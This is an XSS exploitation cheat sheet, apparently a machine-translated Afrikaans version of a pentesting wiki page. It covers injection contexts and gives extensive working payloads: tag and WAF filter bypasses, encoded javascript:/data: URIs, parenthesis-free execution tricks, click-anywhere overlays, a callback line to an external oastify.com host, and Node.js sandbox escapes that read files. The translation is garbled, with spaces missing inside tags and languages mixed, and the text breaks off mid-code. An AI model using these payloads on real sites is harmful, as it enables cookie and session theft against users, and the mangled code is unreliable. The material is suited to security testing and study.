Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
Ondersteun die eienskap waar jy vasgevang is JS-uitvoering?
Kan jy beskermings omseil?
Binne JavaScript kode:
Kan jy die <script> tag ontsnap?
Kan jy die string ontsnap en verskillende JS-kode uitvoer?
Is jou invoer in sjabloon letterlik ``?
Kan jy beskermings omseil?
Javascript funksie wat uitgevoer word
Jy kan die naam van die funksie aandui om uit te voer. bv.: ?callback=alert(1)
As gebruik:
Jy kan 'n DOM XSS misbruik, let op hoe jou invoer beheer word en of jou gecontroleerde invoer deur enige sink gebruik word.
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
Reflekteerde waardes
Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n waarde wat deur jou beheer word en wat reflekteer in die webblad.
Intermediêr reflekteer: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n Reflekteerde XSS misbruik.
Gestoor en reflekteer: As jy vind dat 'n waarde wat deur jou beheer word, in die bediener gestoor is en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n Gestoor XSS misbruik.
Toegang via JS: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n DOM XSS misbruik.
Konteks
Wanneer jy probeer om 'n XSS te misbruik, is die eerste ding wat jy moet weet waar jou invoer reflekteer. Afhangende van die konteks, sal jy in staat wees om arbitrêre JS-kode op verskillende maniere uit te voer.
Rauwe HTML
As jou invoer reflekteer op die rauwe HTML bladsy, sal jy sommige HTML-tags moet misbruik om JS-kode uit te voer: <img , <iframe , <svg , <script ... dit is net 'n paar van die baie moontlike HTML-tags wat jy kan gebruik.
Hou ook in gedagte Kliëntkant Sjabloon Inspuiting.
Binne HTML-tags eienskap
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
Om te ontsnap van die eienskap en van die tag (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: "><img [...]
As jy kan ontsnap van die eienskap maar nie van die tag nie (> is geënkodeer of verwyder), afhangende van die tag kan jy 'n gebeurtenis skep wat JS-kode uitvoer: " autofocus onfocus=alert(1) x="
As jy nie kan ontsnap van die eienskap nie (" word geënkodeer of verwyder), dan, afhangende van watter eienskap jou waarde reflekteer in of jy die hele waarde beheer of net 'n deel, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos onclick= beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante voorbeeld is die eienskap href, waar jy die javascript: protokol kan gebruik om arbitrêre kode uit te voer: href="javascript:alert(1)"
As jou invoer binne "onuitputbare tags" reflekteer, kan jy die accesskey truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): " accesskey="x" onclick="alert(1)" x="
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
In hierdie geval word jou invoer weerspieël tussen <script> [...] </script> etikette van 'n HTML-bladsy, binne 'n .js-lêer of binne 'n attribuut wat die javascript: protokol gebruik:
As dit weerspieël word tussen <script> [...] </script> etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om </script> in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die blaaier eers die HTML-etikette sal ontleed en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde </script>-etiket binne die HTML-kode is nie.
As dit weerspieël word binne 'n JS-string en die laaste truuk werk nie, sal jy moet uitgaan van die string, uitvoer jou kode en herbou die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
As dit weerspieël word binne sjabloonletterlikhede kan jy JS-uitdrukkings insluit met die ${ ... } sintaksis: var greetings = `Hello, ${alert(1)}`
Unicode-kodering werk om geldige javascript-kode te skryf:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting verwys na die geleentheid om funksies, veranderlikes of klasse te verklaar nadat hulle gebruik is sodat jy scenario's kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.Kyk na die volgende bladsy vir meer inligting:
Javascript Funksie
Verskeie webblaaie het eindpunte wat die naam van die funksie om uit te voer as parameter aanvaar. 'n Algemene voorbeeld om in die natuur te sien is iets soos: ?callback=callbackFunc.
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is om die param waarde te wysig (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
As dit kwesbaar is, kan jy dalk 'n waarskuwing aktiveer deur net die waarde te stuur: ?callback=alert(1). Dit is egter baie algemeen dat hierdie eindpunte die inhoud sal valideer om slegs letters, syfers, punte en onderstrepings toe te laat ([\w\._]).
Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om enige element in die DOM te benader:
You can also try to trigger Javascript functions directly: obj.sales.delOrders.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, ander bladsye in die selfde oorsprong will have a meer interessante DOM to perform more actions.
Therefore, in order to misbruik maak van hierdie kwesbaarheid in 'n ander DOM the Same Origin Method Execution (SOME) exploitation was developed:
DOM
There is JS code that is using onveilig some data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Universal XSS
These kind of XSS can be found oorals. They not depend just on the client exploitation of a web application but on enigekonteks. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, leesarbitrairelêers in clients and servers, and more.
Some voorbeelde:
WAF bypass encoding image
Injecting inside raw HTML
When your input is reflected binne die HTML-bladsy or you can escape and inject HTML code in this context the eerste thing you need to do if check if you can abuse < to create new tags: Just try to reflect that karakter and check if it's being HTML encoded or verwyder of if it is reflected without changes. Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut.
For this cases also hou in gedagteClient Side Template Injection.Let wel: 'n HTML-kommentaar kan gesluit word met******** --> of ****--!>
In this case and if no black/whitelisting is used, you could use payloads like:
Maar, as tags/atribute swart/blanklysiening gebruik word, sal jy moet brute-force watter tags jy kan skep.
Sodra jy gevind het watter tags toegelaat word, sal jy moet brute-force atribute/gebeurtenisse binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
Tags/Gebeurtenisse brute-force
Gaan na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet en klik op Kopieer tags na klembord. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy brute force al die gebeurtenisse met die geldige tags (in dieselfde webblad klik op Kopieer gebeurtenisse na klembord en volg dieselfde prosedure as voorheen).
Pasgemaakte tags
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n pasgemaakte tag te skep en JS-kode met die onfocus attribuut uit te voer. In die XSS-versoek moet jy die URL met # eindig om die bladsy op daardie objek te fokus en die kode te uitvoer:
As daar 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Klik XSS - Klikjacking
As jy om die kwesbaarheid te benut, die gebruiker moet op 'n skakel of 'n vorm met voorafgevulde data klik, kan jy probeer om Klikjacking te misbruik (as die bladsy kwesbaar is).
Onmoontlik - Hangende Markup
As jy net dink dat dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer, moet jy Hangende Markup nagaan omdat jy die kwesbaarheid kan benutsonder om JS-kode uit te voer.
Invoeging binne HTML-tag
Binne die tag/ontsnapping van attribuutwaarde
As jy binne 'n HTML-tag is, is die eerste ding wat jy kan probeer om te ontsnap van die tag en sommige van die tegnieke wat in die vorige afdeling genoem is, te gebruik om JS-kode uit te voer.
As jy nie van die tag kan ontsnap nie, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Binne die attribuut
Selfs al kan jy nie ontsnap uit die attribuut nie (" word gekodeer of verwyder), afhangende van watter attribuut jou waarde weerspieël as jy al die waarde of net 'n deel daarvan beheer sal jy dit kan misbruik. By voorbeeld, as jy 'n gebeurtenis soos onclick= beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word.
Nog 'n interessante voorbeeld is die attribuut href, waar jy die javascript: protokol kan gebruik om arbitrêre kode uit te voer: href="javascript:alert(1)"
Omseil binne gebeurtenis met HTML-kodering/URL-kodering
Die HTML gekodeerde karakters binne die waarde van HTML-tags attribuut word op tyd van uitvoering gedecodeer. Daarom sal iets soos die volgende geldig wees (die payload is in vet): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Gaan Terug </a>
Let daarop dat enige soort HTML-kodering geldig is:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Spesiale Protokolle Binne die attribuut
Daar kan jy die protokolle javascript: of data: in sommige plekke gebruik om arbitraire JS-kode uit te voer. Sommige sal gebruikersinteraksie vereis en sommige nie.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Plekke waar jy hierdie protokolle kan inspuit
In die algemeen kan die javascript: protokol gebruik word in enige etiket wat die attribuut href aanvaar en in meeste van die etikette wat die attribuut src aanvaar (maar nie <img> nie)
Boonop, daar is nog 'n lekker truuk vir hierdie gevalle: Selfs al word jou invoer binne javascript:... URL-gecodeer, sal dit URL-dekodeer word voordat dit uitgevoer word. So, as jy moet ontsnap van die string met 'n enkele aanhaling en jy sien dat dit URL-gecodeer word, onthou dat dit nie saak maak nie, dit sal as 'n enkele aanhaling geïnterpreteer word tydens die uitvoering.
Let wel dat as jy probeer om albeiURLencode + HTMLencode in enige volgorde te gebruik om die payload te kodifiseer, dit sal niewerk nie, maar jy kan hulle meng binne die payload.
Gebruik Hex en Octal kodering met javascript:
Jy kan Hex en Octal kodering binne die src attribuut van iframe (ten minste) gebruik om HTML-tags te verklaar om JS uit te voer:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Omgekeerde tab-nabbing
<atarget="_blank"rel="opener"
As jy enige URL in 'n arbitrêre <a href= tag kan inspuit wat die target="_blank" en rel="opener" eienskappe bevat, kyk die volgende bladsy om hierdie gedrag te benut:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
Van hier: Jy kan 'n XSS payload binne 'n verborge attribuut uitvoer, mits jy die slagoffer kan oortuig om die sleutelkombinasie te druk. Op Firefox Windows/Linux is die sleutelkombinasie ALT+SHIFT+X en op OS X is dit CTRL+ALT+X. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangsleutelattribuut te gebruik. Hier is die vektor:
As jy 'n XSS in 'n baie klein deel van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die spasie wat daardie element beset te wysig om die waarskynlikheid te maksimeer dat die skakel geaktiveer word.
Byvoorbeeld, jy kan 'n bietjie styl in die element voeg soos: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy vind, byvoorbeeld
.test {display:block; color: blue; width: 100%}
en
#someid {top: 0; font-family: Tahoma;}
Nou kan jy ons skakel wysig en dit na die vorm bring
In hierdie geval gaan jou invoerbinne die JS kode van 'n .js lêer of tussen <script>...</script> etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die javascript: protokol aanvaar.
Ontsnapping <script> etiket
As jou kode binne <script> [...] var input = 'reflected data' [...] </script> ingevoeg word, kan jy maklik die <script>etiket sluit ontsnap:
Note dat ons in hierdie voorbeeld selfs nie die enkele aanhalingsteken gesluit het nie. Dit is omdat HTML-parsing eers deur die blaaier uitgevoer word, wat die identifisering van bladsy-elemente insluit, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skripte te verstaan en uit te voer, word slegs daarna uitgevoer.
Binne JS-kode
As <> gesanitiseer word, kan jy steeds die string ontsnap waar jou invoer geleë is en arbitraire JS uitvoer. Dit is belangrik om JS-sintaksis reg te stel, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
Om strings te konstrueer behalwe enkel- en dubbel aanhalings, aanvaar JS ook backticks``. Dit staan bekend as template literals aangesien dit toelaat om ingebedde JS-uitdrukkings te gebruik met ${ ... } sintaksis.
Daarom, as jy vind dat jou invoer reflected word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis ${ ... } misbruik om arbitrary JS code uit te voer:
Dit kan abused word met:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Gecodeerde kode-uitvoering
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript spasie
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Javascript binne 'n opmerking
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sonder haakies
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
DOM kwesbaarhede
Daar is JS kode wat onveilige data wat deur 'n aanvaller beheer word soos location.href gebruik. 'n Aanvaller kan dit misbruik om arbitrêre JS kode uit te voer.
As gevolg van die uitbreiding van die verduideliking vanDOM kwesbaarhede is dit na hierdie bladsy verskuif:
Daar sal jy 'n gedetailleerde verduideliking vind van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut.
Moet ook nie vergeet nie dat aan die einde van die genoemde pos jy 'n verduideliking kan vind oor DOM Clobbering aanvalle.
Opgradering van Self-XSS
Koekie XSS
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n kwesbare subdomein vir XSS vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie tossing aanval gebruik:
Jy kan 'n groot misbruik van hierdie tegniek vind in hierdie blogpos.
Stuur jou sessie na die admin
Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid ontketen.
Sessiemirrow
As jy 'n paar self XSS vind en die webblad het 'n sessiemirrow vir administrateurs, byvoorbeeld wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
Jy kan die administrateur jou self XSS laat ontketen en sy koekies/sessie steel.
Ander Bypasses
Genormaliseerde Unicode
Jy kan kyk of die reflekteerde waardesunicode genormaliseer word op die bediener (of aan die kliëntkant) en hierdie funksionaliteit misbruik om beskermings te omseil. Vind 'n voorbeeld hier.
PHP FILTER_VALIDATE_EMAIL vlag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails omseiling
As gevolg van RoR mass assignment word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.
Formulier voorbeeld (uit hierdie verslag), as jy die payload stuur:
As jy vind dat jy koppe in 'n 302 herleidingsantwoord kan inspuit, kan jy probeer om die blaaier te laat uitvoer willekeurige JavaScript. Dit is nie triviaal nie, aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer nie as die HTTP-antwoordstatuskode 'n 302 is, so net 'n cross-site scripting payload is nutteloos.
In hierdie verslag en hierdie een kan jy lees hoe jy verskeie protokolle binne die Location-kop kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.
Verlede bekende protokolle: mailto://, //x:1/, ws://, wss://, leë Location-kop, resource://.
Slegs Letters, Nommers en Punte
As jy in staat is om die callback aan te dui wat JavaScript gaan uitvoer beperk tot daardie karakters. Lees hierdie afdeling van hierdie pos om te vind hoe om hierdie gedrag te misbruik.
Geldige <script> Inhoudstipes vir XSS
(Van hier) As jy probeer om 'n skrip met 'n inhoudstype soos application/octet-stream te laai, sal Chrome die volgende fout gooi:
Weier om skrip van ‘https://uploader.c.hc.lc/uploads/xxx' uit te voer omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipe kontrole is geaktiveer.
(From here) So, watter tipes kan aangedui word om 'n skrip te laai?
<scripttype="???"></script>
Die antwoord is:
module (standaard, niks om te verduidelik nie)
webbundle: Web Bundles is 'n kenmerk wat jy 'n klomp data (HTML, CSS, JS…) saam in 'n .wbn lêer kan verpakk.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
importmap: Laat toe om die invoer-sintaksis te verbeter
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
Hierdie gedrag is gebruik in hierdie skrywe om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS ontketen.
speculationrules: Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
As die bladsy 'n text/xml inhoudstipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Spesiale Vervangingspatrone
Wanneer iets soos "some {{template}} data".replace("{{template}}", <user_input>) gebruik word. Die aanvaller kan spesiale string vervangings gebruik om te probeer om sekere beskermings te omseil: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Byvoorbeeld in hierdie skrywe, is dit gebruik om 'n JSON-string binne 'n skrip te ontsnap en arbitrêre kode uit te voer.
Chrome Cache na XSS
XS Jails Ontsnapping
As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
As alles is onbepaald voordat onbetroubare kode uitgevoer word (soos in hierdie skrywe) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
Deur import() te gebruik
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
Toegang tot require indirek
Volgens hierdie word modules deur Node.js binne 'n funksie toegedraai, soos volg:
Daarom, as ons van daardie module 'n ander funksie kan aanroep, is dit moontlik om arguments.callee.caller.arguments[1] van daardie funksie te gebruik om require te benader:
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om fouthanterings te gebruik om toegang te verkry tot die wrapper van die module en die require funksie te verkry:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
